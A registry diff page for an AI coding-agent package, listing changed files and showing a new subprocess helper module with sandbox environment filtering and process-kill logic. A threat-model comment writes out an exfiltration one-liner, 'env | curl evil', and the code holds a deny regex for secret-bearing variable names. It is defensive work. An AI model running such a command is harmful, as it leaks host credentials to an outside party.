@cjhyy/code-shell-core 0.5.0-rc.2 → 0.6.0-rc.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (387) hide show
  1. package/README.md +13 -10
  2. package/dist/agent/agent-definition-registry.d.ts +3 -0
  3. package/dist/agent/agent-definition-registry.js +3 -1
  4. package/dist/agent/agent-definition.d.ts +15 -0
  5. package/dist/agent/agent-definition.js +27 -3
  6. package/dist/arena/context/context-tools.js +47 -4
  7. package/dist/arena/ledger.js +9 -1
  8. package/dist/arena/strategies/utils.d.ts +1 -4
  9. package/dist/arena/strategies/utils.js +7 -84
  10. package/dist/automation/cron-expr.d.ts +10 -0
  11. package/dist/automation/cron-expr.js +23 -5
  12. package/dist/automation/runner.d.ts +21 -4
  13. package/dist/automation/runner.js +48 -12
  14. package/dist/automation/scheduler.d.ts +38 -0
  15. package/dist/automation/scheduler.js +89 -12
  16. package/dist/automation/store.js +5 -2
  17. package/dist/capability-control/disabled-lists.d.ts +25 -0
  18. package/dist/capability-control/disabled-lists.js +57 -0
  19. package/dist/capability-control/overlay.d.ts +15 -0
  20. package/dist/capability-control/overlay.js +27 -0
  21. package/dist/cc-orchestrator/agent-adapter.d.ts +50 -0
  22. package/dist/cc-orchestrator/agent-adapter.js +133 -0
  23. package/dist/cc-orchestrator/cc-capability.d.ts +19 -0
  24. package/dist/cc-orchestrator/cc-capability.js +53 -0
  25. package/dist/cc-orchestrator/codex-session-discovery.d.ts +24 -0
  26. package/dist/cc-orchestrator/codex-session-discovery.js +191 -0
  27. package/dist/cc-orchestrator/codex-session-history.d.ts +25 -0
  28. package/dist/cc-orchestrator/codex-session-history.js +187 -0
  29. package/dist/cc-orchestrator/external-agent-changes.d.ts +19 -0
  30. package/dist/cc-orchestrator/external-agent-changes.js +214 -0
  31. package/dist/cc-orchestrator/external-agent-driver.d.ts +18 -0
  32. package/dist/cc-orchestrator/external-agent-driver.js +69 -0
  33. package/dist/cc-orchestrator/index.d.ts +8 -0
  34. package/dist/cc-orchestrator/index.js +8 -0
  35. package/dist/cc-orchestrator/relevance-judge.d.ts +15 -0
  36. package/dist/cc-orchestrator/relevance-judge.js +29 -0
  37. package/dist/cc-orchestrator/session-discovery.d.ts +46 -0
  38. package/dist/cc-orchestrator/session-discovery.js +125 -0
  39. package/dist/cc-orchestrator/session-history.d.ts +19 -0
  40. package/dist/cc-orchestrator/session-history.js +67 -0
  41. package/dist/cli/agent-server-stdio.d.ts +15 -1
  42. package/dist/cli/agent-server-stdio.js +115 -17
  43. package/dist/cli/agent-server-tcp.js +40 -26
  44. package/dist/context/compaction.d.ts +56 -0
  45. package/dist/context/compaction.js +186 -0
  46. package/dist/context/manager.js +25 -4
  47. package/dist/cost-tracker.js +5 -61
  48. package/dist/credentials/cipher.d.ts +49 -0
  49. package/dist/credentials/cipher.js +45 -0
  50. package/dist/credentials/cookie-jar.d.ts +24 -0
  51. package/dist/credentials/cookie-jar.js +40 -0
  52. package/dist/credentials/index.d.ts +7 -0
  53. package/dist/credentials/index.js +5 -0
  54. package/dist/credentials/inject-credential-tool.d.ts +20 -0
  55. package/dist/credentials/inject-credential-tool.js +130 -0
  56. package/dist/credentials/store.d.ts +72 -0
  57. package/dist/credentials/store.js +184 -0
  58. package/dist/credentials/types.d.ts +56 -0
  59. package/dist/credentials/use-credential-tool.d.ts +29 -0
  60. package/dist/credentials/use-credential-tool.js +205 -0
  61. package/dist/credentials/use-gate.d.ts +56 -0
  62. package/dist/credentials/use-gate.js +52 -0
  63. package/dist/data/model-metadata.d.ts +77 -0
  64. package/dist/data/model-metadata.js +56 -0
  65. package/dist/data/model-metadata.json +216 -0
  66. package/dist/data/openrouter-models.d.ts +18 -7
  67. package/dist/data/openrouter-models.js +35 -8
  68. package/dist/engine/aux-key.d.ts +10 -0
  69. package/dist/engine/aux-key.js +11 -0
  70. package/dist/engine/dynamic-tool-defs.d.ts +19 -0
  71. package/dist/engine/dynamic-tool-defs.js +36 -0
  72. package/dist/engine/engine.d.ts +267 -138
  73. package/dist/engine/engine.js +957 -191
  74. package/dist/engine/friendly-error.d.ts +18 -0
  75. package/dist/engine/friendly-error.js +63 -0
  76. package/dist/engine/goal.d.ts +145 -0
  77. package/dist/engine/goal.js +144 -0
  78. package/dist/engine/image-policy.d.ts +13 -0
  79. package/dist/engine/image-policy.js +24 -0
  80. package/dist/engine/model-connections-pool.d.ts +17 -0
  81. package/dist/engine/model-connections-pool.js +66 -0
  82. package/dist/engine/model-facade.d.ts +10 -0
  83. package/dist/engine/model-facade.js +25 -0
  84. package/dist/engine/patch-orphaned-tools.js +3 -0
  85. package/dist/engine/resolve-llm-config.d.ts +16 -0
  86. package/dist/engine/resolve-llm-config.js +44 -0
  87. package/dist/engine/runtime.js +2 -1
  88. package/dist/engine/sandbox-cache-key.d.ts +10 -0
  89. package/dist/engine/sandbox-cache-key.js +9 -0
  90. package/dist/engine/sandbox-config.d.ts +31 -0
  91. package/dist/engine/sandbox-config.js +38 -0
  92. package/dist/engine/session-usage.d.ts +19 -0
  93. package/dist/engine/session-usage.js +25 -0
  94. package/dist/engine/steer-queue.d.ts +32 -0
  95. package/dist/engine/steer-queue.js +26 -0
  96. package/dist/engine/streaming-tool-queue.d.ts +12 -0
  97. package/dist/engine/streaming-tool-queue.js +50 -10
  98. package/dist/engine/turn-loop.d.ts +67 -3
  99. package/dist/engine/turn-loop.js +292 -41
  100. package/dist/engine/types.d.ts +175 -0
  101. package/dist/engine/types.js +13 -0
  102. package/dist/external-agents/config.d.ts +2 -0
  103. package/dist/external-agents/config.js +15 -0
  104. package/dist/external-agents/types.d.ts +31 -0
  105. package/dist/external-agents/types.js +1 -0
  106. package/dist/git/utils.js +11 -6
  107. package/dist/git/worktree.d.ts +48 -0
  108. package/dist/git/worktree.js +86 -10
  109. package/dist/hooks/goal-stop-hook.d.ts +28 -0
  110. package/dist/hooks/goal-stop-hook.js +186 -9
  111. package/dist/hooks/registry.d.ts +8 -0
  112. package/dist/hooks/registry.js +19 -0
  113. package/dist/hooks/shell-runner.js +10 -21
  114. package/dist/index.d.ts +49 -6
  115. package/dist/index.js +60 -4
  116. package/dist/llm/capabilities/param-specs.d.ts +14 -0
  117. package/dist/llm/capabilities/param-specs.js +62 -0
  118. package/dist/llm/capabilities/rules.js +4 -0
  119. package/dist/llm/capabilities/types.d.ts +10 -0
  120. package/dist/llm/client-base.d.ts +28 -1
  121. package/dist/llm/client-base.js +119 -13
  122. package/dist/llm/model-cache.js +4 -2
  123. package/dist/llm/model-pool.d.ts +14 -0
  124. package/dist/llm/model-pool.js +13 -0
  125. package/dist/llm/provider-auth.d.ts +41 -0
  126. package/dist/llm/provider-auth.js +76 -0
  127. package/dist/llm/provider-catalog.d.ts +4 -0
  128. package/dist/llm/providers/anthropic.js +64 -14
  129. package/dist/llm/providers/openai.d.ts +36 -0
  130. package/dist/llm/providers/openai.js +257 -51
  131. package/dist/llm/reasoning-setting.d.ts +3 -3
  132. package/dist/llm/reasoning-setting.js +9 -1
  133. package/dist/llm/stream-watchdog.js +5 -1
  134. package/dist/llm/token-counter.js +9 -2
  135. package/dist/llm/types.d.ts +4 -0
  136. package/dist/logging/sanitize-messages.js +22 -0
  137. package/dist/lsp/manager.d.ts +1 -1
  138. package/dist/lsp/manager.js +40 -10
  139. package/dist/model-catalog/builtin.d.ts +12 -0
  140. package/dist/model-catalog/builtin.js +407 -0
  141. package/dist/model-catalog/gen-connections.d.ts +20 -0
  142. package/dist/model-catalog/gen-connections.js +28 -0
  143. package/dist/model-catalog/index.d.ts +41 -0
  144. package/dist/model-catalog/index.js +90 -0
  145. package/dist/model-catalog/params.d.ts +20 -0
  146. package/dist/model-catalog/params.js +45 -0
  147. package/dist/model-catalog/resolve.d.ts +48 -0
  148. package/dist/model-catalog/resolve.js +33 -0
  149. package/dist/model-catalog/save-entry.d.ts +32 -0
  150. package/dist/model-catalog/save-entry.js +104 -0
  151. package/dist/model-catalog/types.d.ts +561 -0
  152. package/dist/model-catalog/types.js +93 -0
  153. package/dist/model-catalog/upsert.d.ts +9 -0
  154. package/dist/model-catalog/upsert.js +8 -0
  155. package/dist/onboarding.d.ts +12 -82
  156. package/dist/onboarding.js +61 -326
  157. package/dist/plugins/gitOps.d.ts +19 -0
  158. package/dist/plugins/gitOps.js +73 -4
  159. package/dist/plugins/installer/checkUpdate.d.ts +16 -0
  160. package/dist/plugins/installer/checkUpdate.js +32 -0
  161. package/dist/plugins/installer/codex/convertCommands.d.ts +19 -0
  162. package/dist/plugins/installer/codex/convertCommands.js +46 -0
  163. package/dist/plugins/installer/codex/convertMcp.d.ts +5 -2
  164. package/dist/plugins/installer/codex/convertMcp.js +45 -5
  165. package/dist/plugins/installer/install.js +25 -1
  166. package/dist/plugins/installer/installFromArchive.d.ts +43 -0
  167. package/dist/plugins/installer/installFromArchive.js +134 -0
  168. package/dist/plugins/installer/installFromSource.js +8 -2
  169. package/dist/plugins/installer/loadPluginAgents.js +6 -2
  170. package/dist/plugins/installer/loadPluginMcp.d.ts +9 -2
  171. package/dist/plugins/installer/loadPluginMcp.js +35 -2
  172. package/dist/plugins/installer/pruneDisabled.d.ts +24 -0
  173. package/dist/plugins/installer/pruneDisabled.js +73 -0
  174. package/dist/plugins/installer/types.d.ts +5 -2
  175. package/dist/plugins/installer/types.js +1 -0
  176. package/dist/plugins/installer/uninstall.js +4 -0
  177. package/dist/plugins/installer/unzip.d.ts +14 -0
  178. package/dist/plugins/installer/unzip.js +82 -0
  179. package/dist/plugins/installer/update.d.ts +14 -0
  180. package/dist/plugins/installer/update.js +53 -21
  181. package/dist/plugins/loadPluginHooks.d.ts +47 -1
  182. package/dist/plugins/loadPluginHooks.js +73 -1
  183. package/dist/plugins/marketplaceManager.d.ts +7 -0
  184. package/dist/plugins/marketplaceManager.js +20 -0
  185. package/dist/plugins/pluginCommandHook.js +4 -18
  186. package/dist/plugins/pluginContent.d.ts +30 -0
  187. package/dist/plugins/pluginContent.js +83 -0
  188. package/dist/plugins/pluginInstaller.d.ts +13 -0
  189. package/dist/plugins/pluginInstaller.js +42 -8
  190. package/dist/plugins/schemas.js +1 -0
  191. package/dist/plugins/types.d.ts +6 -0
  192. package/dist/preset/index.d.ts +7 -1
  193. package/dist/preset/index.js +96 -6
  194. package/dist/product/types.d.ts +1 -1
  195. package/dist/prompt/composer.d.ts +27 -0
  196. package/dist/prompt/composer.js +67 -21
  197. package/dist/prompt/instruction-scanner.js +5 -3
  198. package/dist/prompt/section-loader.js +1 -0
  199. package/dist/prompt/sections/base.md +1 -0
  200. package/dist/prompt/sections/browser.md +10 -0
  201. package/dist/prompt/sections/coding.md +4 -0
  202. package/dist/protocol/chat-session-manager.d.ts +8 -2
  203. package/dist/protocol/chat-session-manager.js +36 -0
  204. package/dist/protocol/chat-session.d.ts +65 -0
  205. package/dist/protocol/chat-session.js +94 -2
  206. package/dist/protocol/client.d.ts +27 -0
  207. package/dist/protocol/client.js +38 -0
  208. package/dist/protocol/server.d.ts +112 -0
  209. package/dist/protocol/server.js +586 -16
  210. package/dist/protocol/transport.js +3 -2
  211. package/dist/protocol/types.d.ts +46 -0
  212. package/dist/protocol/types.js +16 -0
  213. package/dist/quota/credentials.d.ts +3 -0
  214. package/dist/quota/credentials.js +80 -0
  215. package/dist/quota/index.d.ts +36 -0
  216. package/dist/quota/index.js +155 -0
  217. package/dist/quota/types.d.ts +48 -0
  218. package/dist/quota/types.js +13 -0
  219. package/dist/review/review-prompt.d.ts +28 -0
  220. package/dist/review/review-prompt.js +81 -0
  221. package/dist/run/FileRunStore.js +8 -3
  222. package/dist/run/RunApprovalBackend.js +25 -5
  223. package/dist/run/RunManager.d.ts +12 -0
  224. package/dist/run/RunManager.js +35 -0
  225. package/dist/run/factory.d.ts +1 -1
  226. package/dist/runtime/background-shell.d.ts +139 -0
  227. package/dist/runtime/background-shell.js +495 -0
  228. package/dist/runtime/output-clean.d.ts +24 -0
  229. package/dist/runtime/output-clean.js +41 -0
  230. package/dist/runtime/ring-file.d.ts +64 -0
  231. package/dist/runtime/ring-file.js +174 -0
  232. package/dist/runtime/safe-spawn.js +15 -34
  233. package/dist/runtime/spawn-common.d.ts +148 -0
  234. package/dist/runtime/spawn-common.js +303 -0
  235. package/dist/runtime/truncate-output.d.ts +22 -0
  236. package/dist/runtime/truncate-output.js +49 -0
  237. package/dist/runtime/utf8-cut.d.ts +11 -0
  238. package/dist/runtime/utf8-cut.js +23 -0
  239. package/dist/services/auto-dream.d.ts +4 -0
  240. package/dist/services/auto-dream.js +26 -26
  241. package/dist/services/diagnostics.d.ts +1 -2
  242. package/dist/services/diagnostics.js +12 -7
  243. package/dist/services/extract-memories.d.ts +14 -1
  244. package/dist/services/extract-memories.js +45 -6
  245. package/dist/services/memory-orchestrator.d.ts +21 -0
  246. package/dist/services/memory-orchestrator.js +125 -50
  247. package/dist/services/session-memory.js +24 -12
  248. package/dist/session/file-history.d.ts +124 -1
  249. package/dist/session/file-history.js +222 -6
  250. package/dist/session/memory.d.ts +116 -2
  251. package/dist/session/memory.js +250 -28
  252. package/dist/session/session-manager.d.ts +40 -0
  253. package/dist/session/session-manager.js +113 -3
  254. package/dist/session/simple-diff.d.ts +23 -0
  255. package/dist/session/simple-diff.js +84 -0
  256. package/dist/session/transcript.d.ts +25 -1
  257. package/dist/session/transcript.js +35 -2
  258. package/dist/session/undo-target.d.ts +67 -0
  259. package/dist/session/undo-target.js +144 -0
  260. package/dist/settings/disk-defaults.d.ts +9 -2
  261. package/dist/settings/disk-defaults.js +11 -2
  262. package/dist/settings/feature-flags.d.ts +64 -0
  263. package/dist/settings/feature-flags.js +61 -0
  264. package/dist/settings/manager.d.ts +68 -1
  265. package/dist/settings/manager.js +266 -29
  266. package/dist/settings/migrate-config.d.ts +45 -0
  267. package/dist/settings/migrate-config.js +125 -0
  268. package/dist/settings/schema-export.d.ts +25 -0
  269. package/dist/settings/schema-export.js +38 -0
  270. package/dist/settings/schema.d.ts +1186 -771
  271. package/dist/settings/schema.js +268 -97
  272. package/dist/skills/scanner.d.ts +9 -0
  273. package/dist/skills/scanner.js +30 -2
  274. package/dist/stt/resolve-transcribe.d.ts +31 -0
  275. package/dist/stt/resolve-transcribe.js +108 -0
  276. package/dist/stt/transcribe.d.ts +51 -0
  277. package/dist/stt/transcribe.js +65 -0
  278. package/dist/tool-system/browser-bridge.d.ts +226 -0
  279. package/dist/tool-system/browser-bridge.js +163 -0
  280. package/dist/tool-system/builtin/agent-heartbeat.d.ts +49 -0
  281. package/dist/tool-system/builtin/agent-heartbeat.js +89 -0
  282. package/dist/tool-system/builtin/agent-notifications.d.ts +12 -3
  283. package/dist/tool-system/builtin/agent-notifications.js +9 -3
  284. package/dist/tool-system/builtin/agent-output-file.d.ts +38 -0
  285. package/dist/tool-system/builtin/agent-output-file.js +72 -0
  286. package/dist/tool-system/builtin/agent-registry.d.ts +12 -0
  287. package/dist/tool-system/builtin/agent-registry.js +8 -0
  288. package/dist/tool-system/builtin/agent.d.ts +21 -1
  289. package/dist/tool-system/builtin/agent.js +489 -42
  290. package/dist/tool-system/builtin/apply-patch/applier.js +66 -8
  291. package/dist/tool-system/builtin/apply-patch/backup-targets.d.ts +10 -0
  292. package/dist/tool-system/builtin/apply-patch/backup-targets.js +30 -0
  293. package/dist/tool-system/builtin/apply-patch/index.js +0 -15
  294. package/dist/tool-system/builtin/background-jobs.d.ts +76 -0
  295. package/dist/tool-system/builtin/background-jobs.js +124 -0
  296. package/dist/tool-system/builtin/background-shell-tools.d.ts +20 -0
  297. package/dist/tool-system/builtin/background-shell-tools.js +108 -0
  298. package/dist/tool-system/builtin/background-work.d.ts +67 -0
  299. package/dist/tool-system/builtin/background-work.js +86 -0
  300. package/dist/tool-system/builtin/bash-output-style.d.ts +32 -0
  301. package/dist/tool-system/builtin/bash-output-style.js +40 -0
  302. package/dist/tool-system/builtin/bash.d.ts +5 -2
  303. package/dist/tool-system/builtin/bash.js +98 -62
  304. package/dist/tool-system/builtin/browser-tools.d.ts +33 -0
  305. package/dist/tool-system/builtin/browser-tools.js +312 -0
  306. package/dist/tool-system/builtin/cancel-goal.d.ts +31 -0
  307. package/dist/tool-system/builtin/cancel-goal.js +64 -0
  308. package/dist/tool-system/builtin/check-quota.d.ts +15 -0
  309. package/dist/tool-system/builtin/check-quota.js +34 -0
  310. package/dist/tool-system/builtin/config.js +7 -0
  311. package/dist/tool-system/builtin/cron.d.ts +7 -0
  312. package/dist/tool-system/builtin/cron.js +55 -3
  313. package/dist/tool-system/builtin/drive-claude-code.d.ts +30 -0
  314. package/dist/tool-system/builtin/drive-claude-code.js +157 -0
  315. package/dist/tool-system/builtin/edit-model-catalog.d.ts +3 -0
  316. package/dist/tool-system/builtin/edit-model-catalog.js +94 -0
  317. package/dist/tool-system/builtin/edit.js +20 -16
  318. package/dist/tool-system/builtin/eol.d.ts +29 -0
  319. package/dist/tool-system/builtin/eol.js +37 -0
  320. package/dist/tool-system/builtin/file-cache.d.ts +6 -0
  321. package/dist/tool-system/builtin/file-cache.js +8 -0
  322. package/dist/tool-system/builtin/generate-image.d.ts +35 -0
  323. package/dist/tool-system/builtin/generate-image.js +278 -50
  324. package/dist/tool-system/builtin/generate-video.d.ts +55 -0
  325. package/dist/tool-system/builtin/generate-video.js +361 -0
  326. package/dist/tool-system/builtin/glob.js +0 -7
  327. package/dist/tool-system/builtin/grep.js +6 -8
  328. package/dist/tool-system/builtin/image-providers.d.ts +86 -0
  329. package/dist/tool-system/builtin/image-providers.js +190 -0
  330. package/dist/tool-system/builtin/image-uploader.d.ts +33 -0
  331. package/dist/tool-system/builtin/image-uploader.js +74 -0
  332. package/dist/tool-system/builtin/index.d.ts +7 -1
  333. package/dist/tool-system/builtin/index.js +249 -25
  334. package/dist/tool-system/builtin/mcp-tools.js +23 -3
  335. package/dist/tool-system/builtin/memory.js +45 -7
  336. package/dist/tool-system/builtin/notebook-edit.js +0 -7
  337. package/dist/tool-system/builtin/powershell.js +4 -1
  338. package/dist/tool-system/builtin/read.js +10 -10
  339. package/dist/tool-system/builtin/repl.js +4 -1
  340. package/dist/tool-system/builtin/skill.js +9 -0
  341. package/dist/tool-system/builtin/sleep.js +3 -2
  342. package/dist/tool-system/builtin/tool-search.js +25 -7
  343. package/dist/tool-system/builtin/video-providers.d.ts +154 -0
  344. package/dist/tool-system/builtin/video-providers.js +235 -0
  345. package/dist/tool-system/builtin/web-fetch.js +12 -2
  346. package/dist/tool-system/builtin/web-search.js +21 -7
  347. package/dist/tool-system/builtin/worktree.d.ts +2 -1
  348. package/dist/tool-system/builtin/worktree.js +31 -4
  349. package/dist/tool-system/builtin/write.js +0 -6
  350. package/dist/tool-system/context.d.ts +154 -6
  351. package/dist/tool-system/executor.d.ts +3 -1
  352. package/dist/tool-system/executor.js +172 -88
  353. package/dist/tool-system/investigation-guard.js +1 -1
  354. package/dist/tool-system/mcp-manager.d.ts +42 -4
  355. package/dist/tool-system/mcp-manager.js +186 -20
  356. package/dist/tool-system/path-policy.d.ts +5 -0
  357. package/dist/tool-system/path-policy.js +307 -8
  358. package/dist/tool-system/permission.d.ts +36 -1
  359. package/dist/tool-system/permission.js +281 -69
  360. package/dist/tool-system/plan-mode-allowlist.d.ts +13 -2
  361. package/dist/tool-system/plan-mode-allowlist.js +24 -2
  362. package/dist/tool-system/registry.d.ts +1 -0
  363. package/dist/tool-system/registry.js +16 -2
  364. package/dist/tool-system/sandbox/index.d.ts +8 -0
  365. package/dist/tool-system/sandbox/index.js +7 -2
  366. package/dist/tool-system/validate-tool-metadata.d.ts +36 -0
  367. package/dist/tool-system/validate-tool-metadata.js +63 -0
  368. package/dist/types.d.ts +217 -6
  369. package/dist/updater.js +20 -9
  370. package/dist/utils/envUtils.d.ts +0 -9
  371. package/dist/utils/envUtils.js +3 -28
  372. package/dist/utils/exec.d.ts +40 -0
  373. package/dist/utils/exec.js +144 -0
  374. package/dist/utils/json.d.ts +12 -0
  375. package/dist/utils/json.js +92 -0
  376. package/dist/utils/theme.d.ts +1 -1
  377. package/dist/utils/theme.js +1 -1
  378. package/dist/utils/toolDisplay.js +0 -1
  379. package/package.json +13 -7
  380. package/dist/agent/coordinator.d.ts +0 -49
  381. package/dist/agent/coordinator.js +0 -77
  382. package/dist/settings/manager.test.js +0 -73
  383. package/dist/tool-system/builtin/remote-trigger.d.ts +0 -6
  384. package/dist/tool-system/builtin/remote-trigger.js +0 -54
  385. package/dist/tool-system/builtin/send-message.d.ts +0 -6
  386. package/dist/tool-system/builtin/send-message.js +0 -47
  387. /package/dist/{settings/manager.test.d.ts → credentials/types.js} +0 -0
@@ -0,0 +1,303 @@
1
+ /**
2
+ * spawn-common — shared subprocess primitives for foreground (safeSpawnShell)
3
+ * and background (BackgroundShellManager) shell execution.
4
+ *
5
+ * Both paths must agree on three things or their security/behavior drifts:
6
+ *
7
+ * 1. How a free-form shell command is turned into an actual (file, args)
8
+ * under the active sandbox backend ({@link resolveSpawnTarget}).
9
+ * 2. Which environment variables are forwarded into a sandboxed shell
10
+ * ({@link buildSandboxEnv} + {@link ENV_DENY_REGEX}) — the Bash threat
11
+ * model (a tainted model exfiltrating `OPENROUTER_API_KEY` via
12
+ * `env | curl evil`).
13
+ * 3. How a process is terminated — SIGTERM → grace → SIGKILL. The
14
+ * background path needs this at *process-group* granularity
15
+ * ({@link killProcessGroup}) because `npm run dev` is really
16
+ * `sh → npm → node vite` and killing only the outer `sh` leaks the
17
+ * vite child that holds the port (design §难点2).
18
+ *
19
+ * safeSpawnShell keeps its own single-process kill cascade (it does not
20
+ * spawn detached, so there's no separate process group to reap); it shares
21
+ * (1) and (2) here. The background manager uses all three.
22
+ */
23
+ import { spawn } from "node:child_process";
24
+ /**
25
+ * Env vars that are always safe to forward into a sandboxed shell. Mirrors
26
+ * the allowlist that previously lived in bash.ts — kept here so foreground
27
+ * and background shells share one source of truth. The `off` backend keeps
28
+ * the historical full-passthrough behavior (the user opted out of sandboxing)
29
+ * and does NOT call this.
30
+ */
31
+ export const ENV_ALLOWLIST = new Set([
32
+ "PATH",
33
+ "HOME",
34
+ "USER",
35
+ "LOGNAME",
36
+ "SHELL",
37
+ "LANG",
38
+ "LC_ALL",
39
+ "LC_CTYPE",
40
+ "TERM",
41
+ "TMPDIR",
42
+ "TZ",
43
+ "COLUMNS",
44
+ "LINES",
45
+ "PWD",
46
+ ]);
47
+ /**
48
+ * Names matching these patterns are dropped even if they appear in the
49
+ * allowlist (defense in depth — e.g. a user setting `PATH_TOKEN` shouldn't
50
+ * leak just because it starts with `PATH`). Case-insensitive on the full name.
51
+ */
52
+ export const ENV_DENY_REGEX = /(KEY|TOKEN|SECRET|PASSWORD|PASSWD|CREDENTIAL|SESSION|AUTH|COOKIE|PRIVATE)/i;
53
+ /**
54
+ * Build a hardened env for a sandboxed shell: allowlist ∖ deny-regex.
55
+ * `source` defaults to `process.env` so callers usually omit it; tests pass
56
+ * a fixed object.
57
+ */
58
+ export function buildSandboxEnv(source = process.env) {
59
+ const out = {};
60
+ for (const name of ENV_ALLOWLIST) {
61
+ const v = source[name];
62
+ if (v !== undefined && !ENV_DENY_REGEX.test(name)) {
63
+ out[name] = v;
64
+ }
65
+ }
66
+ return out;
67
+ }
68
+ /**
69
+ * Layer a project's `localEnvironment.env` (KEY=VALUE pairs the user
70
+ * explicitly configured in `.code-shell/settings.json`) on top of a base
71
+ * shell env.
72
+ *
73
+ * Unlike {@link buildSandboxEnv}, project env values are NOT filtered through
74
+ * the deny regex: the user put them there deliberately (e.g. `DATABASE_URL`,
75
+ * a project-scoped `API_BASE`), so honoring them is the whole point. The
76
+ * allowlist/deny machinery exists to stop a tainted model from exfiltrating
77
+ * the *host's* secrets via `env | curl`; values the user typed into project
78
+ * settings are a different trust class.
79
+ *
80
+ * Returns the base unchanged when `projectEnv` is empty/undefined, so the
81
+ * caller can pass it through unconditionally with zero behavior change for
82
+ * projects that don't configure one. `undefined` values in `projectEnv` are
83
+ * skipped (they'd otherwise stringify to "undefined").
84
+ */
85
+ export function mergeShellEnv(base, projectEnv) {
86
+ if (!projectEnv)
87
+ return base;
88
+ const keys = Object.keys(projectEnv);
89
+ if (keys.length === 0)
90
+ return base;
91
+ const out = { ...base };
92
+ for (const k of keys) {
93
+ const v = projectEnv[k];
94
+ if (v !== undefined)
95
+ out[k] = v;
96
+ }
97
+ return out;
98
+ }
99
+ /**
100
+ * Resolve the shell binary + the (file, args) needed to run a free-form
101
+ * `command` string through it, per platform. Centralizes the POSIX-vs-Windows
102
+ * shell fork that was previously hardcoded as `/bin/bash` + `["-c", command]`
103
+ * in five places (bash.ts, safe-spawn.ts, background-shell.ts, worktree.ts):
104
+ *
105
+ * - POSIX: `<explicit ?? $SHELL ?? /bin/bash> -c "<command>"`
106
+ * - Windows: `cmd.exe /c "<command>"` (the `-c` flag does not exist on cmd;
107
+ * a bare `-c` would be taken as a filename and fail). PowerShell uses
108
+ * `-Command`, but cmd.exe is the safe default present on every Windows.
109
+ *
110
+ * `$SHELL` is ignored on Windows — it is virtually never set there, and when
111
+ * it is (e.g. a stray value from a Unix-y env) it points at a POSIX path that
112
+ * doesn't exist on the host. An explicit `shell` overrides everything (a user
113
+ * who configured `pwsh`/`bash` knows what they want).
114
+ */
115
+ export function resolveShellInvocation(command, shell) {
116
+ if (process.platform === "win32") {
117
+ const file = shell ?? process.env.ComSpec ?? "cmd.exe";
118
+ // PowerShell variants take -Command; cmd.exe (and cmd-like) take /c.
119
+ const isPwsh = /(^|[\\/])(pwsh|powershell)(\.exe)?$/i.test(file);
120
+ return isPwsh ? { file, args: ["-Command", command] } : { file, args: ["/c", command] };
121
+ }
122
+ const file = shell ?? process.env.SHELL ?? "/bin/bash";
123
+ return { file, args: ["-c", command] };
124
+ }
125
+ /** The platform's default interactive shell binary, for spawning a bare shell
126
+ * (no `-c`/`/c` command). Windows → ComSpec/cmd.exe; POSIX → $SHELL/bin/bash. */
127
+ export function defaultShellBinary(shell) {
128
+ if (shell)
129
+ return shell;
130
+ if (process.platform === "win32")
131
+ return process.env.ComSpec ?? "cmd.exe";
132
+ return process.env.SHELL ?? "/bin/bash";
133
+ }
134
+ /**
135
+ * Resolve the actual (file, args) for a shell `command` under an optional
136
+ * sandbox. With a sandbox, the backend decides (e.g. seatbelt →
137
+ * `sandbox-exec -f profile shell -c command`). Without one, plain
138
+ * `shell -c command`. This is exactly safeSpawnShell's pre-spawn logic,
139
+ * lifted so the background path produces an identical target.
140
+ */
141
+ export function resolveSpawnTarget(command, opts) {
142
+ if (opts.sandbox) {
143
+ const wrapped = opts.sandbox.wrap(command, { cwd: opts.cwd, shell: opts.shell });
144
+ return { file: wrapped.file, args: wrapped.args, cleanup: wrapped.cleanup };
145
+ }
146
+ // No sandbox (the `off` backend / Windows): pick the shell + command-flag
147
+ // form for the platform instead of assuming POSIX `-c`.
148
+ return resolveShellInvocation(command, opts.shell);
149
+ }
150
+ /**
151
+ * Terminate a single (non-detached) foreground child + its tree.
152
+ *
153
+ * - POSIX: SIGTERM, then SIGKILL after `graceMs` if it ignored the term.
154
+ * (The child is the process-group leader of its own subtree only if it was
155
+ * spawned with its own group; safe-spawn's foreground children are not, so
156
+ * this kills the direct child — matching the historical behavior.)
157
+ * - Windows: `child.kill("SIGTERM")` is a no-op and only kills the direct
158
+ * child anyway, leaving grandchildren (e.g. `npm test → node`). Use
159
+ * `taskkill /T /F` on the pid to reap the whole tree. No graceful phase.
160
+ *
161
+ * Best-effort: never throws; a child that already exited is fine.
162
+ */
163
+ export function killChildTree(child, graceMs) {
164
+ if (process.platform === "win32") {
165
+ if (typeof child.pid === "number")
166
+ void killProcessTreeWindows(child.pid);
167
+ else
168
+ try {
169
+ child.kill("SIGKILL");
170
+ }
171
+ catch { /* gone */ }
172
+ return;
173
+ }
174
+ try {
175
+ child.kill("SIGTERM");
176
+ }
177
+ catch { /* may already be dead */ }
178
+ setTimeout(() => {
179
+ try {
180
+ child.kill("SIGKILL");
181
+ }
182
+ catch { /* ignore */ }
183
+ }, graceMs).unref();
184
+ }
185
+ const DEFAULT_GROUP_GRACE_MS = 3000;
186
+ /**
187
+ * Terminate an entire process group, SIGTERM → grace → SIGKILL.
188
+ *
189
+ * Targets the group by negating the leader pid (`process.kill(-pgid, sig)`),
190
+ * which requires the leader to have been spawned `detached: true` so its pid
191
+ * is its own pgid. This is the background path's answer to design §难点2:
192
+ * `npm run dev`'s real tree (`sh → npm → node vite`) all share the group, so
193
+ * one group-level signal reaps the vite child that actually holds the port.
194
+ *
195
+ * Resolves once the group is confirmed gone (or the grace SIGKILL has been
196
+ * sent). Idempotent: a group that's already dead (ESRCH) resolves immediately
197
+ * without throwing.
198
+ *
199
+ * @param pgid The process-group id == the detached leader's pid.
200
+ */
201
+ export function killProcessGroup(pgid, opts = {}) {
202
+ // Safety: a pgid of 0/1 (or non-integer) must NEVER reach process.kill —
203
+ // `process.kill(-0)` targets the caller's OWN group and `process.kill(-1)`
204
+ // signals EVERY process the user can reach (catastrophic self-kill). Live
205
+ // pgids are real detached-child pids (>1), but pgid is also persisted in
206
+ // orphan records and read back from disk, so a corrupt/tampered record could
207
+ // surface 0/1 here. Refuse rather than fire a group signal at a bogus target.
208
+ if (!Number.isInteger(pgid) || pgid <= 1) {
209
+ return Promise.resolve();
210
+ }
211
+ // Windows has no process groups and no real SIGTERM. The detached leader is
212
+ // NOT spawned detached on win (see background-shell), so `pgid` is just the
213
+ // leader pid. Reap the whole tree with `taskkill /PID <pid> /T /F` — /T walks
214
+ // children (npm → node → vite), /F forces. This is the win32 equivalent of
215
